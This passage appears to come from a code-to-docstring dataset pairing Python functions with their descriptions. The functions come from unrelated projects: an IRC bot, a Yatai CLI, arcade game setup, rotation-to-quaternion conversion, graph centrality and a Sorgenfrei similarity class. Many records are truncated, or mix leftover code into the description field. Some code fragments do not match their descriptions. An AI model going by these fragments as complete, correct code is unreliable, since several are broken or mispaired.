decode_beam_search_01(sess,model,knapsack_matrix,direction,prefix_mass_list,precursor_mass_precision,knapsack_precision,data_set):TODO(nh2tran): docstring."} {"code": "def on_all_events(self, c, e):\n user = e.source.split('!')[0]\n self.log.info('Received command: [' + user + '] ' + cmd.lower())\n\n self.post_event_in_mpf('twitch_command', user=user, command=cmd.lower())\n '''event: twitch_command\n", "nl": "Framework will call when any IRC event is posted.del cmessage = 'All Events: ' + eself.log.info(message.replace(self.password, 'XXXXX'))def do_command(self, e, cmd):Handle a chat command (starts with ? or !)."} {"code": "def yatai_cli():\n if not endpoint:\n raise CLIException(\"need --endpoint\")\n\n if not api_token:\n raise CLIException(\"need --api-token\")\n\n yatai_rest_client = YataiRESTApiClient(endpoint, api_token)\n user = yatai_rest_client.get_current_user()\n\n if user is None:\n raise CLIException(\"current user is not found\")\n\n org = yatai_rest_client.get_current_organization()\n\n if org is None:\n raise CLIException(\"current organization is not found\")\n\n ctx = YataiClientContext(", "nl": "Yatai Subcommands Groups@yatai_cli.command()@click.option(\"--endpoint\", type=click.STRING, help=\"Yatai endpoint, i.e: https://yatai.com\")@click.option(\"--api-token\", type=click.STRING, help=\"Yatai user API token\")def login(endpoint: str, api_token: str) -> None: # type: ignore (not accessed)Login to Yatai server."} {"code": "def __init__(self):\n\n self.coin_list = arcade.SpriteList(use_spatial_hash=False)\n\n self.add_coins(COIN_COUNT)\n\n self.perf_graph_list = arcade.SpriteList()\n\n row_y = self.height - GRAPH_HEIGHT / 2\n starting_x = GRAPH_WIDTH / 2\n step_x = GRAPH_WIDTH + GRAPH_MARGIN\n\n graph = arcade.PerfGraph(GRAPH_WIDTH, GRAPH_HEIGHT, graph_data=\"FPS\")\n graph.position = starting_x, row_y\n self.perf_graph_list.append(graph)\n\n graph = arcade.PerfGraph(GRAPH_WIDTH, GRAPH_HEIGHT, graph_data=\"update\")\n graph.position = starting_x + step_x, row_y\n self.perf_graph_list.append(graph)\n\n graph = arcade.PerfGraph(GRAPH_WIDTH, GRAPH_HEIGHT, graph_data=\"on_draw\")\n graph.position = starting_x + step_x * 2, row_y\n self.perf_graph_list.append(graph)\n\n self.fps_text = arcade.Text(\n f\"FPS: {arcade.get_fps(60):5.1f}\",\n 10, 10, arcade.color.BLACK, 22\n )\n", "nl": " Initializer # Call the parent class initializersuper().__init__(SCREEN_WIDTH, SCREEN_HEIGHT, SCREEN_TITLE)# Variables to hold game objects and performance infoself.coin_list: arcade.SpriteList = Noneself.perf_graph_list: arcade.SpriteList = Noneself.fps_text: arcade.Text = Noneself.frame_count: int = 0 # for tracking the reset intervalarcade.set_background_color(arcade.color.AMAZON)def add_coins(self, amount):# Create the coinsfor i in range(amount):# Create the coin instance# Coin image from kenney.nlcoin = Coin(\":resources:images/items/coinGold.png\", SPRITE_SCALING_COIN)# Position the coincoin.position = (random.randrange(SPRITE_SIZE, SCREEN_WIDTH - SPRITE_SIZE),random.randrange(SPRITE_SIZE, SCREEN_HEIGHT - SPRITE_SIZE))coin.change_x = random.randrange(-3, 4)coin.change_y = random.randrange(-3, 4)# Add the coin to the listsself.coin_list.append(coin)def setup(self): Set up the game and initialize the variables. "} {"code": "def ident(self) -> str:\n return self._build_ident(\n self.short_case_name,\n abbr(self.id, max=15, suffix='[...]'),\n )\n", "nl": "Return long identifier for this test used in logs.return self._build_ident(self.case_name, self.id)@cached_propertydef shortident(self) -> str:Return short identifier for this test used in logs."} {"code": "def get_num_args_func(line, func_name=None):\n modif_line = re.sub(r'<[^<>]+>', '', line)\n arg_list_ = find_outer_most_last_parenthesis(modif_line)\n if arg_list_ is None:\n check = re.match(rgx.func_call_pattern + r'\\(\\)', modif_line)\n assert check is not None, \"Could not match argument list in:\\n\" + line + \"\\nFunction:\\n\" + func_name\n num_args = 0\n arg_list = ''\n elif arg_list_ == '()':\n check = re.match(rgx.func_call_pattern + r'\\(\\)', modif_line)\n if check is None:\n check = re.search(r' asm (?:sideeffect )?(\\\".*\\\")\\(\\)', modif_line)\n if check is None:\n check = re.search(rgx.local_id + r'\\(\\)', modif_line)\n if check is None:\n okay = line[-2:] == '()'\n if not okay:\n check = None\n else:\n check = True\n assert check is not None, \"Could not match argument list in:\\n\" + line + \"\\nFunction:\\n\" + func_name\n num_args = 0\n arg_list = ''\n else:\n arg_list = arg_list_[1:-1]\n arg_list = re.sub(r'<[^<>]+>', '', arg_list)\n arg_list_modif = re.sub(r'\\([^\\(\\)]+\\)', '', arg_list)\n arg_list_modif = re.sub(r'\\([^\\(\\)]+\\)', '', arg_list_modif)\n arg_list_modif = re.sub(r'\\([^\\(\\)]+\\)', '', arg_list_modif)\n arg_list_modif = re.sub(r'\\([^\\(\\)]+\\)', '', arg_list_modif)\n arg_list_modif = re.sub(r'\\\"[^\\\"]*\\\"', '', arg_list_modif)\n arg_list_modif = re.sub(r'{.*}', '', arg_list_modif)\n num_args = len(re.findall(',', arg_list_modif)) + 1\n\n return num_args, arg_list\n\n", "nl": "Get the number of arguments in a line containing a function:param line: LLVM IR line:param func_name: function name:return num_args: number of argumentsarg_list: list of arguments"} {"code": "def rotation_matrix_to_quaternion(rotation_matrix, eps=1e-6):\n if not torch.is_tensor(rotation_matrix):\n raise TypeError(\"Input type is not a torch.Tensor. Got {}\".format(\n type(rotation_matrix)))\n\n if len(rotation_matrix.shape) > 3:\n raise ValueError(\n \"Input size must be a three dimensional tensor. Got {}\".format(\n rotation_matrix.shape))\n\n rmat_t = torch.transpose(rotation_matrix, 1, 2)\n\n mask_d2 = rmat_t[:, 2, 2] < eps\n\n mask_d0_d1 = rmat_t[:, 0, 0] > rmat_t[:, 1, 1]\n mask_d0_nd1 = rmat_t[:, 0, 0] < -rmat_t[:, 1, 1]\n\n t0 = 1 + rmat_t[:, 0, 0] - rmat_t[:, 1, 1] - rmat_t[:, 2, 2]\n q0 = torch.stack([rmat_t[:, 1, 2] - rmat_t[:, 2, 1],\n t0, rmat_t[:, 0, 1] + rmat_t[:, 1, 0],\n rmat_t[:, 2, 0] + rmat_t[:, 0, 2]], -1)\n t0_rep = t0.repeat(4, 1).t()\n\n t1 = 1 - rmat_t[:, 0, 0] + rmat_t[:, 1, 1] - rmat_t[:, 2, 2]\n q1 = torch.stack([rmat_t[:, 2, 0] - rmat_t[:, 0, 2],\n rmat_t[:, 0, 1] + rmat_t[:, 1, 0],\n t1, rmat_t[:, 1, 2] + rmat_t[:, 2, 1]], -1)\n t1_rep = t1.repeat(4, 1).t()\n\n t2 = 1 - rmat_t[:, 0, 0] - rmat_t[:, 1, 1] + rmat_t[:, 2, 2]\n q2 = torch.stack([rmat_t[:, 0, 1] - rmat_t[:, 1, 0],\n rmat_t[:, 2, 0] + rmat_t[:, 0, 2],\n rmat_t[:, 1, 2] + rmat_t[:, 2, 1], t2], -1)\n t2_rep = t2.repeat(4, 1).t()\n\n t3 = 1 + rmat_t[:, 0, 0] + rmat_t[:, 1, 1] + rmat_t[:, 2, 2]\n q3 = torch.stack([t3, rmat_t[:, 1, 2] - rmat_t[:, 2, 1],\n rmat_t[:, 2, 0] - rmat_t[:, 0, 2],\n rmat_t[:, 0, 1] - rmat_t[:, 1, 0]], -1)\n t3_rep = t3.repeat(4, 1).t()\n\n mask_c0 = mask_d2 * mask_d0_d1\n mask_c1 = mask_d2 * ~mask_d0_d1\n mask_c2 = ~mask_d2 * mask_d0_nd1\n mask_c3 = ~mask_d2 * ~mask_d0_nd1\n mask_c0 = mask_c0.view(-1, 1).type_as(q0)\n mask_c1 = mask_c1.view(-1, 1).type_as(q1)\n mask_c2 = mask_c2.view(-1, 1).type_as(q2)\n mask_c3 = mask_c3.view(-1, 1).type_as(q3)\n\n q = q0 * mask_c0 + q1 * mask_c1 + q2 * mask_c2 + q3 * mask_c3\n q = q / torch.sqrt(t0_rep * mask_c0 + t1_rep * mask_c1 +\n t2_rep * mask_c2 + t3_rep * mask_c3) * 0.5\n return q\n\n\nif __name__ == '__main__':\n pose = rot6D_to_angular(torch.rand(16,6))\n print(pose.shape)\n print(pose[0])", "nl": "This function is borrowed from https://github.com/kornia/korniaConvert 3x4 rotation matrix to 4d quaternion vectorThis algorithm is based on algorithm described inhttps://github.com/KieranWynn/pyquaternion/blob/master/pyquaternion/quaternion.py#L201Args:rotation_matrix (Tensor): the rotation matrix to convert.Return:Tensor: the rotation in quaternionShape:- Input: :math:`(N, 3, 4)`- Output: :math:`(N, 4)`Example:>>> input = torch.rand(4, 3, 4) # Nx3x4>>> output = tgm.rotation_matrix_to_quaternion(input) # Nx4"} {"code": "def debug_info(self, c):\n with self.mutex:\n result = []\n keys = list(self.id_to_refcount.keys())\n keys.sort()\n for ident in keys:\n if ident != '0':\n result.append(' %s: refcount=%s\\n %s' %\n (ident, self.id_to_refcount[ident],\n str(self.id_to_obj[ident][0])[:75]))\n return '\\n'.join(result)\n", "nl": "Return some info --- useful to spot problems with refcounting"} {"code": "def __getattr__(self, item: str) -> Union[Header, List[Header]]:\n item = unpack_protected_keyword(item)\n\n if item not in self:\n raise AttributeError(", "nl": "Where the magic happens, every header is accessible via the property notation.The result is either a single Header or a list of Header.eg.>>> headers = Header(\"Content-Type\", \"text/html; charset=UTF-8\") + Header(\"Allow\", \"POST\") + Header(\"From\", \"john-doe@gmail.com\")>>> headers.content_typeContent-Type: text/html; charset=UTF-8>>> headers.from_From: john-doe@gmail.com"} {"code": "def get_evaluator(cfg, dataset_name, output_folder=None):\n if output_folder is None:\n output_folder = os.path.join(cfg.OUTPUT_DIR, \"inference\")\n evaluator_list = []\n evaluator_type = MetadataCatalog.get(dataset_name).evaluator_type\n if evaluator_type in [\"sem_seg\", \"coco_panoptic_seg\"]:\n evaluator_list.append(\n SemSegEvaluator(\n dataset_name,\n distributed=True,\n num_classes=cfg.MODEL.SEM_SEG_HEAD.NUM_CLASSES,\n ignore_label=cfg.MODEL.SEM_SEG_HEAD.IGNORE_VALUE,\n output_dir=output_folder,\n )\n )\n if evaluator_type in [\"coco\", \"coco_panoptic_seg\"]:\n evaluator_list.append(COCOEvaluator(dataset_name, cfg, True, output_folder))\n if evaluator_type == \"coco_panoptic_seg\":\n evaluator_list.append(COCOPanopticEvaluator(dataset_name, output_folder))\n if evaluator_type == \"cityscapes\":\n assert (\n torch.cuda.device_count() >= comm.get_rank()\n ), \"CityscapesEvaluator currently do not work with multiple machines.\"\n return CityscapesEvaluator(dataset_name)\n if evaluator_type == \"pascal_voc\":\n return PascalVOCDetectionEvaluator(dataset_name)\n if evaluator_type == \"lvis\":\n return LVISEvaluator(dataset_name, cfg, True, output_folder)\n if len(evaluator_list) == 0:\n raise NotImplementedError(\n \"no Evaluator for the dataset {} with the type {}\".format(dataset_name, evaluator_type)\n )\n if len(evaluator_list) == 1:\n return evaluator_list[0]\n return DatasetEvaluators(evaluator_list)\n\n", "nl": "Create evaluator(s) for a given dataset.This uses the special metadata \"evaluator_type\" associated with each builtin dataset.For your own dataset, you can simply create an evaluator manually in yourscript and do not have to worry about the hacky if-else logic here."} {"code": "def should_bypass_proxies(url, no_proxy):\n get_proxy = lambda k: os.environ.get(k) or os.environ.get(k.upper())\n", "nl": "Returns whether we should bypass proxies or not.:rtype: bool"} {"code": "def projectPoints(X, K, R, t, Kd):\n\n x = np.asarray(R @ X + t)\n\n x[0:2, :] = x[0:2, :] / x[2, :]\n\n r = x[0, :] * x[0, :] + x[1, :] * x[1, :]\n\n x[0, :] = x[0, :] * (1 + Kd[0] * r + Kd[1] * r * r + Kd[4] * r * r * r) + 2 * Kd[2] * x[0, :] * x[1, :] + Kd[3] * (\n r + 2 * x[0, :] * x[0, :])\n x[1, :] = x[1, :] * (1 + Kd[0] * r + Kd[1] * r * r + Kd[4] * r * r * r) + 2 * Kd[3] * x[0, :] * x[1, :] + Kd[2] * (\n r + 2 * x[1, :] * x[1, :])\n\n x[0, :] = K[0, 0] * x[0, :] + K[0, 1] * x[1, :] + K[0, 2]\n x[1, :] = K[1, 0] * x[0, :] + K[1, 1] * x[1, :] + K[1, 2]\n\n return x\n\n", "nl": " Projects points X (3xN) using camera intrinsics K (3x3),extrinsics (R,t) and distortion parameters Kd=[k1,k2,p1,p2,k3].Roughly, x = K*(R*X + t) + distortionSee http://docs.opencv.org/2.4/doc/tutorials/calib3d/camera_calibration/camera_calibration.htmlor cv2.projectPoints"} {"code": "def _escaped_text_from_text(text, escapes=\"eol\"):\n import re\n\n if isinstance(escapes, base_string_type):\n if escapes == \"eol\":\n escapes = {'\\r\\n': \"\\\\r\\\\n\\r\\n\", '\\n': \"\\\\n\\n\", '\\r': \"\\\\r\\r\"}\n elif escapes == \"whitespace\":\n escapes = {'\\r\\n': \"\\\\r\\\\n\\r\\n\", '\\n': \"\\\\n\\n\", '\\r': \"\\\\r\\r\",\n '\\t': \"\\\\t\", ' ': \".\"}\n elif escapes == \"eol-one-line\":\n escapes = {'\\n': \"\\\\n\", '\\r': \"\\\\r\"}\n elif escapes == \"whitespace-one-line\":\n escapes = {'\\n': \"\\\\n\", '\\r': \"\\\\r\", '\\t': \"\\\\t\", ' ': '.'}\n else:\n raise ValueError(\"unknown text escape style: %r\" % escapes)\n\n escapes_keys = list(escapes.keys())\n try:\n escapes_keys.sort(key=lambda a: len(a), reverse=True)\n except TypeError:\n escapes_keys.sort(lambda a,b: cmp(len(a), len(b)))\n escapes_keys.reverse()", "nl": "rReturn escaped version of text.\"escapes\" is either a mapping of chars in the source text toreplacement text for each such char or one of a set ofstrings identifying a particular escape style:eolreplace EOL chars with '\\r' and '\\n', maintain the actualEOLs though toowhitespacereplace EOL chars as above, tabs with '\\t' and spaceswith periods ('.')eol-one-linereplace EOL chars with '\\r' and '\\n'whitespace-one-linereplace EOL chars as above, tabs with '\\t' and spaceswith periods ('.')"} {"code": "def poll_all_jobs(self, tko, jobs, email_from=None, email_to=None):\n results = []\n for job in jobs:\n if getattr(job, 'result', None) is None:\n job.result = self.poll_job_results(tko, job)\n if job.result is not None:\n self.result_notify(job, email_from, email_to)\n\n results.append(job.result)\n self.print_job_result(job)\n\n if None in results:\n return None\n elif False in results or \"Abort\" in results:\n return False\n else:\n return True\n", "nl": "Poll all jobs in a list.jobs: list of job objects to pollemail_from: send notification email upon completion from hereemail_from: send notification email upon completion to hereReturns:a) All complete successfully (return True)b) One or more has failed (return False)c) Cannot tell yet (return None)"} {"code": "def get(self, name):\n if name in self._currentGets:\n raise RuntimeError(\"Cyclic dependency while calculating '%s'.\" % name)\n self._currentGets.add(name)\n try:\n v = self._vars[name][0]\n if v is None:\n cfunc = getattr(self, '_' + name, None)\n if cfunc is None:\n v = None\n else:\n v = cfunc()\n if v is None:\n raise RuntimeError(\"Parameter '%s' is not specified.\" % name)\n v = self.set(name, v)\n finally:\n self._currentGets.remove(name)\n\n return v\n", "nl": "Return the value for parameter *name*.If the value has not been specified, then attempt to compute it fromother interacting parameters.If no value can be determined, then raise RuntimeError."} {"code": "def __init__(self, root_dir, anomaly_source_path, resize_shape=None):\n self.root_dir = root_dir\n self.resize_shape=resize_shape\n\n self.image_paths = sorted(glob.glob(root_dir+\"/*.png\"))\n\n self.anomaly_source_paths = sorted(glob.glob(anomaly_source_path+\"/*/*.jpg\"))\n\n self.augmenters = [iaa.GammaContrast((0.5,2.0),per_channel=True),\n iaa.MultiplyAndAddToBrightness(mul=(0.8,1.2),add=(-30,30)),\n iaa.pillike.EnhanceSharpness(),\n iaa.AddToHueAndSaturation((-50,50),per_channel=True),\n iaa.Solarize(0.5, threshold=(32,128)),\n iaa.Posterize(),\n iaa.Invert(),\n iaa.pillike.Autocontrast(),\n iaa.pillike.Equalize(),\n iaa.Affine(rotate=(-45, 45))\n ]\n\n self.rot = iaa.Sequential([iaa.Affine(rotate=(-90, 90))])\n\n", "nl": "Args:root_dir (string): Directory with all the images.transform (callable, optional): Optional transform to be appliedon a sample."} {"code": "def headRequest(self, group, index):\n\n return self.dbpool.runQuery(sql).addCallback(lambda result: result[0])\n\n", "nl": "sql = SELECT postings.article_index, articles.message_id, articles.headerFROM groups,articles LEFT OUTER JOIN postingsON postings.article_id = articles.article_idWHERE postings.article_index = %dAND postings.group_id = groups.group_idAND groups.name = '%s' % (index, adbapi.safe(group))"} {"code": "def testRotate(self):\n self.assertEqual(engine.action(None), [\"two\", \"three\", \"one\"])\n\n engine, = PFAEngine.fromYaml('''\n self.assertEqual(engine.action(None), [\"two\", \"three\", \"one\"])\n\n", "nl": "engine, = PFAEngine.fromYaml(input: \"null\"output: {type: array, items: string}action:a.rotate:- {value: [\"one\", \"two\", \"three\"], type: {type: array, items: string}}- 1)"} {"code": "def from_schema(schema):\nThe technique really shines for larger and more complex systems -\nmy current favorite example is general tests for RESTful APIs\n(http://www.lsi.us.es/~segura/files/papers/segura17-tse.pdf).\n\nSo this will be somewhat artificial, sorry.\nHopefully I've convinced you that it's worth trying on real problems though!\n\n\nLet's do some puzzles with graphs: they're a nice but non-trivial data\nstructure, and have enough variants that we can solve a problem, make it more\ncomplicated, and then solve it again.\n\nWe'll represent graphs as a dict of `{node: {set of (node, cost) tuples}}`.\nThis representation is a *directed* graph, and allows self-links, but we can\ngenerate examples with neither if that's easier.\n\nI've provided a basic but working implementation of a graphs() strategy,\nbreadth-first search, and a test that there is a path between any two nodes\n(which should pass thanks to the force_path=True argument).\nYou can expand that test, and then implement one or more of the metamorphic\ntests suggested at the bottom of the file.\n\nIf you want to keep going with this one, implement edge costs - and good luck!\n\"\"\"", "nl": "Returns a strategy for objects that match the given schema.check_schema(schema)# TODO: actually handle constraints on number/string/array schemasreturn dict(null=st.none(),bool=st.booleans(),number=st.floats(allow_nan=False),string=st.text(),array=st.lists(st.nothing()),)[schema[\"type\"]]# `@st.composite` is one way to write this - another would be to define a# bare function, and `return st.one_of(st.none(), st.booleans(), ...)` so# each strategy can be defined individually. Use whichever seems more# natural to you - the important thing in tests is usually readability!@st.compositedef schema_strategy(draw):schema = {\"type\": draw(st.sampled_from(SCHEMA_TYPES))}# TODO: generate constraints on number/string/array schemas# (hint: can you design this so they shrink to less constrained?)return schema@settings(deadline=None) # allow for slower tests with large data@given(st.data(), schema_strategy())def test_schema_inference(data, schema):# Test that we can always generate a valid instanceinstance = data.draw(from_schema(schema))assert validate(schema, instance)# TODO: write a test that shows validate may return False (maybe a unit test!)############################################################################### Metamorphic testing with pathfinding problemsfrom collections import dequefrom string import ascii_uppercaseHow to demonstrate metamorphic testing, without any dependencies?"} {"code": "def _check_consistency(self) -> None:\n return self._ledger_id\n\n @property", "nl": "Check consistency of the object.enforce(isinstance(self._ledger_id, str), \"ledger_id must be str\")enforce(isinstance(self._body, dict), \"body must be dict\")@propertydef ledger_id(self) -> str:Get the id of the ledger on which the terms are to be settled."} {"code": "def get_node_eig(graph, k=3):\n\n centrality = nx.eigenvector_centrality(graph, tol=1E-3, max_iter=500)\n nodes = heapq.nlargest(k, centrality, key=centrality.get)\n\n return nodes\n\n", "nl": "Get k nodes to attack based on top eigenvector centrality entries:param graph: an undirected NetworkX graph:param k: number of nodes to attack:return: a list of nodes to attack"} {"code": "def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n @classmethod", "nl": "rAccept an IOS line number and initialize family relationshipattributes"} {"code": "def compute_hard_distillation_loss(self, input_sample, prediction) -> Tensor:\n with torch.no_grad():\n teacher_logits = self.teacher_model(input_sample)\n teacher_labels = teacher_logits.argmax(dim=-1)\n\n distillation_loss = self.label_loss(input_sample=input_sample, prediction=prediction, target=teacher_labels)\n return distillation_loss\n", "nl": "Details about Distillation here: https://arxiv.org/abs/1503.02531"} {"code": "def insert_item_into_filter_list_cache(self, item: dict[str, str]) -> None:\n full_cache = await self.api_client.get('bot/filter-lists')\n\n for item in full_cache:\n self.insert_item_into_filter_list_cache(item)\n", "nl": "Add an item to the bots filter_list_cache.type_ = item[\"type\"]allowed = item[\"allowed\"]content = item[\"content\"]self.filter_list_cache[f\"{type_}.{allowed}\"][content] = {\"id\": item[\"id\"],\"comment\": item[\"comment\"],\"created_at\": item[\"created_at\"],\"updated_at\": item[\"updated_at\"],}async def cache_filter_list_data(self) -> None:Cache all the data in the FilterList on the site."} {"code": "def forward_mask(self, batch_tensor: torch.Tensor) -> torch.LongTensor:\n raise NotImplementedError()\n", "nl": "Distorts a a batch of one or more masks.:param batch_tensor: Images are 4D tensors of [batch_size, #channels, height, width] size.:return: A create_persistent 4D tensor [batch_size, #channels, height, width] with the create_persistent image."} {"code": "def test_1(self):\n a = \"\"\"", "nl": "b = class A:def __nonzero__(self):pass"} {"code": "def test_client(self):\n client = RedisCacheWithFallback(None, {})\n client.get(\"irrelevent\")\n\n redis_cache_mock.assert_called_once()\n fallback_cache_mock.assert_not_called()\n\n @mock.patch(\"base.cache.logger\")\n @mock.patch.object(RedisCacheWithFallback, \"_call_fallback_cache\")\n @mock.patch.object(RedisCacheWithFallback, \"_call_redis_cache\")", "nl": "Test class instance of cachesclient = RedisCacheWithFallback(None, {})self.assertIs(type(client), RedisCacheWithFallback)self.assertIs(type(client._redis_cache), RedisCache)self.assertIs(type(client._fallback_cache), DummyCache)@mock.patch.object(RedisCacheWithFallback, \"_call_fallback_cache\")@mock.patch.object(RedisCacheWithFallback, \"_call_redis_cache\")def test_get_redis_cache(self, redis_cache_mock, fallback_cache_mock):Test that redis_cache is used by default."} {"code": "def on_key_release(self, key, modifiers):\n\n bullet = BulletSprite(20, 5, arcade.color.DARK_YELLOW)\n self.bullet_list.append(bullet)\n\n start_x = self.player_sprite.center_x\n start_y = self.player_sprite.center_y\n bullet.position = self.player_sprite.position\n\n dest_x = x\n dest_y = y\n\n x_diff = dest_x - start_x\n y_diff = dest_y - start_y\n angle = math.atan2(y_diff, x_diff)\n\n size = max(self.player_sprite.width, self.player_sprite.height) / 2\n\n bullet.center_x += size * math.cos(angle)\n bullet.center_y += size * math.sin(angle)\n\n bullet.angle = math.degrees(angle)\n\n bullet_gravity = (0, -BULLET_GRAVITY)\n\n self.physics_engine.add_sprite(bullet,\n mass=BULLET_MASS,\n damping=1.0,\n friction=0.6,\n collision_type=\"bullet\",\n gravity=bullet_gravity,\n elasticity=0.9)\n\n force = (BULLET_MOVE_FORCE, 0)\n self.physics_engine.apply_force(bullet, force)\n", "nl": "Called when the user releases a key. if key == arcade.key.LEFT:self.left_pressed = Falseelif key == arcade.key.RIGHT:self.right_pressed = Falsedef on_mouse_press(self, x, y, button, modifiers): Called whenever the mouse button is clicked. "} {"code": "def initialize_vids(CONFIG_PARAMS, datadict, e, vids, pathonly=True):\n for i in range(len(CONFIG_PARAMS[\"experiment\"][e][\"camnames\"])):\n flist = []\n for key in datadict.keys():\n if int(key.split(\"_\")[0]) == e:\n flist.append(\n datadict[key][\"frames\"][\n CONFIG_PARAMS[\"experiment\"][e][\"camnames\"][i]\n ]\n )\n\n flist = max(flist)\n\n basecam = CONFIG_PARAMS[\"experiment\"][e][\"camnames\"][i]\n if \"_\" in basecam:\n basecam = basecam.split(\"_\")[1]\n\n if CONFIG_PARAMS[\"vid_dir_flag\"]:\n addl = \"\"\n else:\n addl = os.listdir(\n os.path.join(CONFIG_PARAMS[\"experiment\"][e][\"viddir\"], basecam,)\n )[0]\n r = generate_readers(\n CONFIG_PARAMS[\"experiment\"][e][\"viddir\"],\n os.path.join(basecam, addl),\n maxopt=flist,\n extension=CONFIG_PARAMS[\"experiment\"][e][\"extension\"],\n pathonly=pathonly,\n )\n\n if \"_\" in CONFIG_PARAMS[\"experiment\"][e][\"camnames\"][i]:\n vids[CONFIG_PARAMS[\"experiment\"][e][\"camnames\"][i]] = {}\n for key in r:\n vids[CONFIG_PARAMS[\"experiment\"][e][\"camnames\"][i]][\n str(e) + \"_\" + key\n ] = r[key]\n else:\n vids[CONFIG_PARAMS[\"experiment\"][e][\"camnames\"][i]] = r\n\n return vids\n\n", "nl": "Initializes video path dictionaries for a training session. This is differentthan a predict session because it operates over a single animal (\"experiment\")at a time"} {"code": "def parse_src_input(src_input):\n\n src_meta_list = []\n\n ref_str_list = src_input.split(\"|\")\n for each_src_str in ref_str_list:\n if each_src_str:\n src_meta = SrcMetaInputInfo()\n src_meta.parse(each_src_str)\n\n src_meta_list.append(src_meta)\n\n return src_meta_list", "nl": "Args:src_input:Returns:"} {"code": "def test_input_not_clique(self, dim):\n with pytest.raises(ValueError, match=\"Input is not a valid subgraph\"):\n clique.swap([0, dim], nx.empty_graph(dim))\n", "nl": "Tests if function raises a ``ValueError`` when input is not a cliquewith pytest.raises(ValueError, match=\"Input subgraph is not a clique\"):clique.swap([0, 1], nx.empty_graph(dim))def test_input_valid_subgraph(self, dim):Tests if function raises a ``ValueError`` when input is not a clique"} {"code": "def test_items(klass, didl_xml_string, data):\n item = from_didl_string(didl_xml_string)[0]\n\n assert item.__class__.__name__ == class_name\n assert base_class is item.__class__.__bases__[0]\n assert base_class._translation == item._translation", "nl": "Test standard DIDL item loadingitem = from_didl_string(didl_xml_string)[0]assert item.__class__ is klassfor key, value in data.items():assert getattr(item, key) == value# FIXME For the tests below that doesn't have a dedicated JSON data file, the# XML used is faked, created by just editing the didl_class in a copy of the# XML of the class it is derived from and therefore also compared to the same# data as the class it is derived from. It should be replaced with data# captured in the wild.KNOWN_VENDOR_EXTENDED_CLASSES = ((\"DidlRecentShow\",DidlMusicTrack,DATA_LOADER.load_xml(\"recent_show.xml\"),DATA_LOADER.load_json(\"track.json\"),),(\"DidlMusicAlbumFavorite\",DidlMusicAlbum,DATA_LOADER.load_xml(\"album_favorite.xml\"),DATA_LOADER.load_json(\"album.json\"),),(\"DidlMusicAlbumCompilation\",DidlMusicAlbum,DATA_LOADER.load_xml(\"album_compilation.xml\"),DATA_LOADER.load_json(\"album.json\"),),(\"DidlComposer\",DidlPerson,DATA_LOADER.load_xml(\"composer.xml\"),DATA_LOADER.load_json(\"composer.json\"),),(\"DidlAlbumList\",DidlContainer,DATA_LOADER.load_xml(\"album_list.xml\"),DATA_LOADER.load_json(\"share.json\"),),(\"DidlSameArtist\",DidlPlaylistContainer,DATA_LOADER.load_xml(\"same_artist.xml\"),DATA_LOADER.load_json(\"playlist.json\"),),(\"DidlPlaylistContainerFavorite\",DidlPlaylistContainer,DATA_LOADER.load_xml(\"playlist_favorite.xml\"),DATA_LOADER.load_json(\"playlist.json\"),),(\"DidlPlaylistContainerTracklist\",DidlPlaylistContainer,DATA_LOADER.load_xml(\"tracklist.xml\"),DATA_LOADER.load_json(\"playlist.json\"),),(\"DidlRadioShow\",DidlContainer,DATA_LOADER.load_xml(\"radio_show.xml\"),DATA_LOADER.load_json(\"radio_show.json\"),),)# There doesn't exist any tests of this kind yet for:# \"object.item.audioItem.audioBroadcast.sonos-favorite\"# \"DidlAudioBroadcastFavorite\",## \"object.itemobject.item.sonos-favorite\"# \"DidlFavorite\",@pytest.mark.parametrize(\"class_name,base_class,didl_xml_string,data\",KNOWN_VENDOR_EXTENDED_CLASSES,ids=[i[0] for i in KNOWN_VENDOR_EXTENDED_CLASSES],)def test_vendor_extended_didl_class(class_name, base_class, didl_xml_string, data):Test that vendor extended DIDL classes have proper names and base class"} {"code": "def calculated_states_by_stream(self, current_state):\n timedelta_by_stream = {stream: [2,0,0]\n for stream in self.expected_streams()}\n timedelta_by_stream['campaigns'] = [0, 1, 0]\n timedelta_by_stream['adsets'] = [0, 1, 0]\n timedelta_by_stream['leads'] = [0, 0 , 1]\n\n stream_to_calculated_state = {stream: \"\" for stream in current_state['bookmarks'].keys()}\n for stream, state in current_state['bookmarks'].items():\n state_key, state_value = next(iter(state.keys())), next(iter(state.values()))\n state_as_datetime = dateutil.parser.parse(state_value)\n\n days, hours, minutes = timedelta_by_stream[stream]\n calculated_state_as_datetime = state_as_datetime - datetime.timedelta(days=days, hours=hours, minutes=minutes)\n\n state_format = '%Y-%m-%dT00:00:00+00:00' if self.is_insight(stream) else '%Y-%m-%dT%H:%M:%S-00:00'\n calculated_state_formatted = datetime.datetime.strftime(calculated_state_as_datetime, state_format)\n\n stream_to_calculated_state[stream] = {state_key: calculated_state_formatted}\n\n return stream_to_calculated_state\n", "nl": "Look at the bookmarks from a previous sync and set a new bookmarkvalue based off timedelta expectations. This ensures the subsequent sync will replicateat least 1 record but, fewer records than the previous sync.Sufficient test data is required for this test to cover a given stream.An incrmeental replication stream must have at least two records withreplication keys that differ by more than the lookback window.If the test data is changed in the future this will break expectations for this test.The following streams barely make the cut:campaigns \"2021-02-09T18:17:30.000000Z\"\"2021-02-09T16:24:58.000000Z\"adsets \"2021-02-09T18:17:41.000000Z\"\"2021-02-09T17:10:09.000000Z\"leads '2021-04-07T20:09:39+0000','2021-04-07T20:08:27+0000',"} {"code": "def render_git_describe(pieces):\n if pieces[\"closest-tag\"]:\n rendered = pieces[\"closest-tag\"]\n if pieces[\"distance\"]:\n rendered += \"-%d-g%s\" % (pieces[\"distance\"], pieces[\"short\"])\n else:\n rendered = pieces[\"short\"]\n if pieces[\"dirty\"]:\n rendered += \"-dirty\"\n return rendered\n\n", "nl": "TAG[-DISTANCE-gHEX][-dirty].Like 'git describe --tags --dirty --always'.Exceptions:1: no tags. HEX[-dirty] (note: no 'g' prefix)"} {"code": "def sim(self, src: str, tar: str) -> float:\n if src == tar:\n return 1.0\n\n self._tokenize(src, tar)\n\n a = self._intersection_card()\n apb = self._src_card()\n apc = self._tar_card()\n\n return a ** 2 / (apb * apc) if a else 0.0\n\n\nif __name__ == '__main__':\n import doctest\n\n doctest.testmod()", "nl": "Return the Sorgenfrei similarity of two strings.Parameters----------src : strSource string (or QGrams/Counter objects) for comparisontar : strTarget string (or QGrams/Counter objects) for comparisonReturns-------floatSorgenfrei similarityExamples-------->>> cmp = Sorgenfrei()>>> cmp.sim('cat', 'hat')0.25>>> cmp.sim('Niall', 